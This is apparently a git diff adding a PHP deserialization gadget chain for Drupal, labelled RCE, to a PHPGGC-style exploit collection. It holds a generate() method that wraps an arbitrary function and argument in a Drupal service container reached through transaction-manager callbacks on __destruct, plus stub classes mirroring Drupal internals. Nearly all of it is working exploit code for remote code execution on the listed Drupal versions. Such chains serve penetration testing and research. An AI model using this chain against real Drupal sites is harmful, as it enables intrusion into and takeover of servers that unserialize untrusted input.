diff --git a/gadgetchains/Drupal/RCE/2/chain.php b/gadgetchains/Drupal/RCE/2/chain.php new file mode 100644 index 00000000..17e95c13 --- /dev/null +++ b/gadgetchains/Drupal/RCE/2/chain.php @@ -0,0 +1,41 @@ += 8.0.0 < 10.4.9 || >= 10.5.0 < 10.5.6 || >= 11.0.0 < 11.1.9 || >= 11.2.0 < 11.2.8'; + public static $vector = '__destruct'; + public static $author = 'anzuukino aka Yuu'; + public static $information = + 'It uses a __destruct() method to trigger call_user_func(), which eventually leads to a call_user_func_array() call after several intermediate function jumps.'; + + public function generate(array $parameters) + { + $function = $parameters['function']; + $parameter = $parameters['parameter']; + $serviceDefinitions = [ + 1 => [ + 'factory' => $function, + 'arguments' => [$parameter], + ], + ]; + $container = new \Drupal\Component\DependencyInjection\Container($serviceDefinitions); + $callback = [$container, 'get']; + + $transactionId = 'x'; + $stackItem = new \Drupal\Core\Database\Transaction\StackItem('anzuukino', \Drupal\Core\Database\Transaction\StackItemType::Root); + + $manager = new \Drupal\mysql\Driver\Database\mysql\TransactionManager( + [$transactionId => $stackItem], + [$callback], + \Drupal\Core\Database\Transaction\ClientConnectionTransactionState::Committed, + $transactionId, + ); + + $connection = new \Drupal\mysql\Driver\Database\mysql\Connection($manager); + + $payload = new \Drupal\Core\Database\Transaction($connection, 'a', $transactionId); + return $payload; + } +} \ No newline at end of file diff --git a/gadgetchains/Drupal/RCE/2/gadgets.php b/gadgetchains/Drupal/RCE/2/gadgets.php new file mode 100644 index 00000000..57a96bca --- /dev/null +++ b/gadgetchains/Drupal/RCE/2/gadgets.php @@ -0,0 +1,103 @@ +name = $name; + $this->type = $type; + } + } + + class TransactionManagerBase { + protected string $rootId; + protected array $stack; + protected array $voidedItems; + protected array $postTransactionCallbacks; + protected ClientConnectionTransactionState $connectionTransactionState; + + public function __construct(array $voidedItems, array $callbacks, ClientConnectionTransactionState $state, string $rootId = 'x') { + $this->rootId = $rootId; + $this->stack = []; + $this->voidedItems = $voidedItems; + $this->postTransactionCallbacks = $callbacks; + $this->connectionTransactionState = $state; + } + } +} + +namespace Drupal\mysql\Driver\Database\mysql { + + use Drupal\Component\DependencyInjection\Container; + use Drupal\Core\Database\Transaction\TransactionManagerBase; + use Drupal\Core\Database\Transaction\TransactionManagerInterface; + + class TransactionManager extends TransactionManagerBase implements TransactionManagerInterface { + protected ?Container $container = null; + + public function beginClientTransaction() {} + public function rollbackClientTransaction() {} + public function commitClientTransaction() {} + } + + class Connection { + protected TransactionManager $transactionManager; + + public function __construct(TransactionManager $manager) { + $this->transactionManager = $manager; + } + } +} + +namespace Drupal\Component\DependencyInjection { + + class Container { + protected array $parameters = []; + protected array $aliases = []; + protected array $serviceDefinitions = []; + protected array $services = []; + protected array $privateServices = []; + protected array $loading = []; + protected bool $frozen = false; + + public function __construct(array $definitions) { + $this->serviceDefinitions = $definitions; + } + } +} + +namespace Drupal\Core\Database { + + use Drupal\mysql\Driver\Database\mysql\Connection; + + class Transaction { + protected Connection $connection; + protected string $name; + protected string $id; + + public function __construct(Connection $connection, string $name, string $id) { + $this->connection = $connection; + $this->name = $name; + $this->id = $id; + } + } +} \ No newline at end of file